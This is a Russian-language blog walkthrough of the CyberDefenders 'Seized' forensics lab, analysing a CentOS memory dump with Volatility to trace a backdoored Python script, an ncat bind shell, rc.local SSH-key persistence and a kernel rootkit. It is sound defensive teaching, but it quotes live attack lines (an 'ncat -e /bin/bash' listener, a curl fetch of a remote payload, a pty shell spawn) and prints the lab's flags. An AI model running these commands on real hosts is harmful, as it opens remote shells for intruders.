Привет, Хабр!  В предыдущей статье мы разобрали пример фишинга с использованием PDF вложения с вредоносным кодом, на примере задания GetPDF от CyberDefenders.

Сегодня мы поговорим о руткитах – типе вредоносного ПО, предназначенного для предоставления повышенных привилегий на устройстве жертвы без ее ведома. А также потренируемся в расследовании инцидента, связанного с атакой и заражением этим зловредом.

Небольшая справка о руткитах

Согласно книге «The Rootkit Arsenal: Escape and Evasion in the Dark Corners of the System, 2nd Edition» by Bill Blunden: “Руткиты — набор исполняемых (двоичных) файлов, скриптов, конфигурационных файлов (в том числе, специальных утилит), которые позволяют получить доступ к компьютеру и поддерживать его на протяжении времени, не предупреждая об этом владельца.”

Руткиты позволяют злоумышленникам с легкостью получить конфиденциальную информацию, хранящуюся на компьютере жертвы. Это возможно поскольку этот вредонос может выполнять действия как от имени учетной записи пользователя, так и получать полный доступ к системе на уровне ядра ОС, и даже работать на уровне драйверов, что делает его сложно детектируемым.

Как и в прошлый раз, практиковаться мы будем, отвечая на вопросы лабораторного задания Seized с уже известной учебной платформы CyberDefenders.

В ходе расследования авторы задания предлагают нам ответить на 9 вопросов, проанализировав дамп оперативной памяти с ОС CentOS (на базе ядра Linux):

  1. What is the CentOS version installed on the machine?

  2. There is a command containing a strange message in the bash history. Will you be able to read it?

  3. What is the PID of the suspicious process?

  4. The attacker downloaded a backdoor to gain persistence. What is the hidden message in this backdoor?

  5. What are the attacker's IP address and the local port on the targeted machine?

  6. What is the first command that the attacker executed?

  7. After changing the user password, we found that the attacker still has access. Can you find out how?

  8. What is the name of the rootkit that the attacker used?

  9. The rootkit uses crc65 encryption. What is the key?

Итак, приступим.

Подготовка

Правильно подобранный набор утилит и хорошо подготовленный стенд — залог успеха в расследовании инцидентов, поэтому начнем именно с этого. Развернем на виртуальной машине ОС на базе *nix. Отмечу, что здесь не принципиально будут ли это дистрибутивы Kali, Ubuntu или что-то другое, более экзотическое. Однако, если в будущем вы захотите продолжить исследования вредоносных сэмплов, то рекомендую развернуть REMnux или SIFT (by SANS), т.к. данные образы ОС уже содержат большой набор необходимых утилит.

После выбора образа и развертывания операционной системы (не буду подробно останавливаться на этом), нам необходимо убедиться, что на стенде установлен язык программирования python2 и менеджер пакетов pip к нему, т.к. Volatility написана на нём (хоть он уже и не поддерживается разработчиками).

Далее загружаем одну из самых популярных утилит для анализа дампа оперативной памяти Volatility: команду к импорту файлов git clone и устанавливаем python setup.py install для загрузки всех необходимых компонентов в систему.  Нам также потребуется поставить несколько дополнительных библиотек для модулей Volatility с помощью команды:

pip install pycrypto distorm3 yara

После этого открываем страницу с заданием и загружаем дамп оперативной памяти с профилем ядра — zip файл, который содержит информацию о структуре ядра и отладочных символах и позволяет Volatility корректно распарсить важную информацию.

Посмотреть список доступных профилей после установки и плагинов можно командой:

./vol.py --info

Теперь разархивируем загруженный дамп (dump.mem) и профиль (Centos7.3.10.1062.zip):
unzip -o c73-EZDump.zip -d . и импортируем профиль в необходимую директорию с
загруженной Volatility используя команду:

cp Centos7.3.10.1062.zip /volatility/plugins/overlays/linux/.

Распаковывать архив не нужно. Это позволит продолжить нам анализ содержимого архива. И убедимся, что необходимый профиль доступен в Volatility. Для этого воспользуемся командой: ./vol.py --info | grep LinuxCentos

Вывод должен быть таким:

Volatility Foundation Volatility Framework 2.6.1 LinuxCentos7_3_10_1062x64 — A Profile for Linux Centos7.3.10.1062 x64

Анализ

Прежде всего, давайте определим версию CentOS и заодно ответим на Вопрос №1. What is the CentOS version installed on the machine? Для этого воспользуемся утилитами strings & grep:

strings dump.mem | grep -i ‘Linux release’ | uniq

В результате получим версию релиза:

Linux 3.10.0-1062.el7.x86_64 CentOS Linux release 7.7.1908 (Core)

Далее в Вопросе №2. There is a command containing a strange message in the bash history. Will you be able to read it? авторы задания просят нас найти странную команду в истории bash. C помощью Volatility мы легко справимся с поставленной задачей, указав путь к дампу оперативной памяти, импортированный профиль и использовав модуль linux_bash (вывод на Рисунке 1):

./vol.py -f  ../Dump/dump.mem  --profile=LinuxCentos7_3_10_1062x64 linux_bash

Рисунок 1 — история команд в bash

Здесь мы видим строку в кодировке base64, давайте ее декодируем:

echo «c2hrQ1RGe2wzdHNfc3Q0cnRfdGgzXzFudjNzdF83NWNjNTU0NzZmM2RmZTE2MjlhYzYwfQo=»  | base64 -d 

Таким образом, мы получили наш первый флаг и ответ на Вопрос №2:

shkCTF{l3ts_st4rt_th3_1nv3st_75cc55476f3dfe1629ac60}

Сразу отмечу, что активность в истории начинается с временной метки 14:56:16 (далее — timeline) и обращу ваше внимание на разные PID у процессов bash (в самом низу). 

Далее нас просят найти process ID (PID) подозрительного процесса – Вопрос №3. What is the PID of the suspicious process? Для этого мы можем воспользоваться одним из следующих плагинов:

  • linux_pslist — выводит список текущих процессов из структуры task_structure;

  • linux_pstree — дерево процессов родительские-> дочерние процессы;

  • linux_psxview — ищет скрытые процессы;

  • linux_psscan — сканирует физическую память и ищет процессы (позволяет получить список в том числе уже завершенных процессов и таймлайн их завершения).

Мы воспользуемся первым плагином linux_pslist, т.к. он покажет процессы (process ID – далее PID, UID, GID, Name) и отсортированные timelines для них (Рисунок 2). Сделаем это с помощью команды:

vol.py -f ../Dump/dump.mem --profile=LinuxCentos7_3_10_1062x64 linux_pslist

Рисунок 2 — список запущенных процессов, их offset, name, PID, PPID, Timelines

Мы видим, что запущенных процессов много, но я сокращу зону поиска, обратившись к нашему первому timeline из Вопроса №2. Получается, что нас интересуют процессы, запущенные после 14:56:16. Первым подозрительным процессом является PID 2854 – утилита ncat, которая позволяет выстраивать цепочки соединений, пробрасывать порты и многое другое, а также, часто используется злоумышленниками и этичными хакерами. Именно номер этого процесса – 2854 позволяет нам ответить на Вопрос № 3.

Переходим к Вопросу №4. The attacker downloaded a backdoor to gain persistence. What is the hidden message in this backdoor? Внимательный читатель уже наверняка заметил, что когда мы вывели историю bash, отвечая на Вопрос №2, то пользователь в 14:56:25 загрузил с гита python скрипты: git clone (https://github.com/tw0phi/PythonBackup).

После чего он разархивировал и запустил PythonBackup.py с правами суперпользователя.

Давайте посмотрим на код скрипта. Внимательно изучив, увидим, что в скрипте PythonBackup.py в переменную snapshot передается содержимое функции: generateSnapshot() (Рисунок 3) из кода snapshot.py в директории app.

Рисунок 3 — блок PythonBackup.py

Заглянув в код snapshot.py и поискав данную функцию, мы увидим обращение к стороннему ресурсу в коде функции (Рисунок 4) и выполнение полученного кода в командной строке.

Рисунок 4 – функция generateSnapshot из snapshot.py

Выполним команду из скрипта: curl -k https://pastebin.com/raw/nQwMKjtZ
И декодируем полученное содержимое из base64 (Рисунок 5), чтобы определить цели запуска скрипта автором.

Рисунок 5 — вывод результата запроса curl -k https://pastebin.com/raw/nQwMKjtZ

Итак, пользователь выполнил скрипт PythonBackup.py с правами суперпользователя, тем самым он запустил netcat в бэкграунде и открыл бэкдор на порт 12345, позволив злоумышленнику попасть на хост:

nohup ncat -lvp 12345 -4 -e /bin/bash > /dev/null 2>/dev/null

На этом этапе злоумышленник и попал на хост.

После декодирования строки из base64 мы получили флаг (Рисунок 5):

shkCTF{th4t_w4s_4_dumb_b4ckd00r_86033c19e3f39315c00dca}

В Вопросе №5. What are the attacker’s IP address and the local port on the targeted machine? авторы задания предлагают нам указать IP адрес атакующего и порт на целевом (атакованном) хосте, несмотря на то, что мы уже и так поняли какой был порт ?.

Для этого воспользуемся плагином linux_netstat, который выводит список открытых сокетов, и отсортируем их по флагу «соединение установлено» с помощью команды:

./vol.py -f ../Dump/dump.mem --profile=LinuxCentos7_3_10_1062x64 linux_netstat | grep ‘ESTABLISHED’

В результате мы получили порт и IP адрес, с которым атакуемый хост установил соединение (Рисунок 6).

Рисунок 6 — установленные соединения

Здесь мы видим IP адрес атакующего – 192.168.49.1 и целевой порт на атакуемом хосте –12345.

Прежде чем ответить на Вопрос №6. What is the first command that the attacker executed? давайте посмотрим, какие процессы являются дочерними по отношению к ncat (PID 2854). В этом нам поможет плагин linux_pstree, который позволяет выстроить дерево отношений родительских и дочерних процессов. Сделаем это с помощью команды:

./vol.py  -f ../Dump/dump.mem --profile=LinuxCentos7_3_10_1062x64 linux_pstree

В результате мы видим список: bash (родитель 2854), python (родитель 2876), bash (родитель 2886), vim (родитель 2887), (Рисунок 7).

Рисунок 7 – процессы, порожденные ncat

В дереве процессов можно также заметить, что после запуска командной оболочки bash, атакующий запустил python, который в свою очередь породил новый tty. Предлагаю посмотреть, с какими аргументами был запущен python и заодно ответить на Вопрос №6 What is the first command that the attacker executed? Для этого воспользуемся плагином linux_psaux. Он позволит просмотреть аргументы, с которыми запущен процесс, а также userID и groupID, из-под которых был произведен запуск. Введем команду:

./vol.py  -f ../Dump/dump.mem --profile=LinuxCentos7_3_10_1062x64 linux_psaux

Рисунок 8 – вывод плагина psaux

Как видно на Рисунке 8, первой командой, которую атакующий выполнил на хосте с правами суперпользователя после запуска скрипта легитимным пользователем PythonBackup.py, открытия бэкдора в системе и подключения злоумышленника, была:

python -c import pty; pty.spawn(“/bin/bash”)

Данная команда позволяет породить новый tty. Поэтому в дереве процессов на Рисунке 7, python (PID 2886) является родителем процесса bash (PID 2887, да-да, тот самый bash, на который мы с Вами обратили внимание, когда получили историю команд в оболочке bash на Рисунке 1).

В Вопросе №7. After changing the user password, we found that the attacker still has access. Can you find out how? нас просят ответить: как даже после смены пользователем пароля атакующий беспрепятственно продолжил входить на хост?

Итак, после выполнения плагина linux_psaux (Рисунок 8), внимательный читатель наверняка заметил, что атакующий редактировал файл /etc/rc.local редактором vim (PID 3196), rc.local — скрипт, содержимое которого выполняется после старта всех системных служб (здесь можно провести аналогию с автозагрузкой в ОС Windows). 

Теперь давайте сделаем дамп процесса vim (PID 3196), чтобы посмотреть какие изменения атакующий внес с использованием данного редактора. Для этого создадим поддиректорию mkdir 3196_vim и выполним команду:

./vol.py -f ../Dump/dump.mem --profile=LinuxCentos7_3_10_1062x64 linux_dump_map -p 3196 -D 3196_vim

В итоге мы получили 90 файлов с расширением .vma. Предлагаю сузить зону поиска с помощью команды: grep -iR «/etc/rc.local»

По данному критерию осталось всего 2 файла:

  1. Binary file ./task.3196.0x22e5000.vma matches

  2. Binary file ./task.3196.0x7ffc1c0c1000.vma matches

Сейчас нам необходимо посмотреть их содержимое и найти интересующую нас информацию (Рисунок 9), для этого воспользуемся сочетанием утилит strings & grep и выполним команду: strings -a task.3196.0x22e5000.vma | grep -A10 «/etc/rc.local»

Рисунок 9 — дамп содержимого процесса vim (PID 3196)

В дампе содержимого процесса VIM, мы видим, что атакующий в скрипте указал запись ключа шифрования ssh в файл /home/k3vin/.ssh/authorized_keys. Это позволило ему в дальнейшем входить в систему без пароля. Также здесь мы видим строку в base64, которую можно декодировать и получить флаг, чтобы ответить на Вопрос № 7.
# Well played : c2hrQ1RGe3JjLmwwYzRsXzFzX2Z1bm55X2JlMjQ3MmNmYWVlZDQ2N2VjOWNhYjViNWEzOGU1ZmEwfQo= 
echo c2hrQ1RGe3JjLmwwYzRsXzFzX2Z1bm55X2JlMjQ3MmNmYWVlZDQ2N2VjOWNhYjViNWEzOGU1ZmEwfQo= | base64 -d
shkCTF{rc.l0c4l_1s_funny_be2472cfaeed467ec9cab5b5a38e5fa0}

Переходим к следующему Вопросу № 8. «What is the name of the rootkit that the attacker used?», где нас просят назвать имя rootkit’a, который использовал атакующий. Чтобы увидеть логи ядра, выполним команду (Рисунок 10):

./vol.py -f ../Dump/dump.mem --profile=LinuxCentos7_3_10_1062x64 linux_dmesg

Рисунок 10 – логи ядра Linux, модуль dmesg

Здесь видим предупреждения ядра о том, что загруженный модуль sysemptyrect не прошел верификацию и может нанести вред ядру, то есть модуль не является доверенным. После чего выполняется шифрование CRC65.

Также посмотрим на системные вызовы и, найдём среди них перехваченные
(HOOKED), выполним команду:

./vol.py -f ../Dump/dump.mem --profile=LinuxCentos7_3_10_1062x64 linux_check_syscall | grep HOOKED

Стало понятно, что один из таких вызовов (номер 88 – это symlink) перехватывается модулем sysemptyrect, на который ядро также выдало предупреждение (Рисунок 11). Имя руткита, который использовал атакующий sysemptyrect.

Рисунок 11 – перехваченный системный вызов

Осталось ответить на Вопрос № 9. The rootkit uses crc65 encryption. What is the key? – последний вопрос задания.

Мы уже знаем название шифра, теперь нам ничего не мешает пройтись по дампу памяти и найти необходимый ключ: grep -a “crc65*” dump.mem

Результат виден на Рисунке 12. Кроме того, ключ можно обнаружить в дампе процесса bash (PID 2887).

Рисунок 12 – ключ для шифрования crc65

Вывод

Мы разобрали атаку на хост на базе Linux (ОС CentOS) с выполнением вредоносного кода из скрипта, закреплением атакующего в системе и применением rootkit’a.  

Причиной проникновения злоумышленника на хост, является запуск скрипта snapshot.py с вредоносным кодом внутри, который вызывался из PythonBackup.py. Главной рекомендацией, которой я бы хотел с вами здесь поделиться – читать содержимое кода перед запуском или не запускать такой код вовсе, тем более с правами суперпользователя.

Буду рад, если статья окажется для вас полезной. Надеюсь, что этот разбор поможет вам в реальной работе. Если у вас есть вопросы – пишите в комментариях!

Автор: @AntonyN0p Антон Кузнецов, ведущий инженер информационной безопасности R-Vision.